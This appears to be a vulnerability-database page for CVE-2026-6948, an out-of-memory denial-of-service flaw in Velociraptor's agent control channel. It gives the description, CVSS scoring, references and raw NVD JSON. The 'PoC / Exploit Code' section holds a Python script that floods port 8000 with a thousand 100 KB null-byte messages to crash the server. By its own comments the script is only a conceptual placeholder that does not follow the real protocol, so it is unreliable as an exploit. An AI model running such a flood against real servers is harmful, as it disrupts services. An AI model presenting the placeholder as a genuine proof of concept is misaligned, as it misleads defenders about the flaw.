CVE-2026-6948

Description

Velociraptor versions prior to 0.76.4 contain a resource exhaustion vulnerability in the server's agent control channel. This allows a compromised or rogue Velociraptor client to crash the server via out-of-memory (OOM) by sending crafted messages through the normal client communication channel.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Velociraptor < 0.76.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

# Conceptual PoC for CVE-2026-6948
# This script attempts to trigger OOM on a vulnerable Velociraptor server
# by sending malformed messages to the agent control channel.

target_host = "127.0.0.1"
target_port = 8000  # Default Velociraptor frontend port

def send_malicious_message(sock):
    # Construct a payload designed to exhaust memory
    # In a real scenario, this would match the specific message protocol
    # that triggers the allocation bug.
    payload = b"\x00" * 102400  # Large payload placeholder
    # Prepend length header (example protocol structure)
    header = struct.pack(">I", len(payload))
    message = header + payload

    try:
        sock.sendall(message)
        print("Malicious message sent.")
    except Exception as e:
        print(f"Error sending message: {e}")

try:
    # Establish connection to the server
    with socket.create_connection((target_host, target_port), timeout=5) as s:
        print(f"Connected to {target_host}:{target_port}")
        # Send multiple messages to accelerate OOM
        for i in range(1000):
            send_malicious_message(s)
except Exception as e:
    print(f"Connection failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6948
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6948
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6948/
[4] VulDB https://vuldb.com/cve/CVE-2026-6948
[5] https://docs.velociraptor.app/announcements/advisories/cve-2026-6948/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6948", "sourceIdentifier": "[email protected]", "published": "2026-05-04T00:16:39.467", "lastModified": "2026-05-04T15:22:52.850", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Velociraptor versions prior to 0.76.4 contain a resource exhaustion vulnerability in the server's agent control channel.\n\n\n\nThis allows a compromised or rogue Velociraptor client to crash the server via out-of-memory (OOM) by sending crafted messages through the normal client communication channel."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://docs.velociraptor.app/announcements/advisories/cve-2026-6948/", "source": "[email protected]"}]}}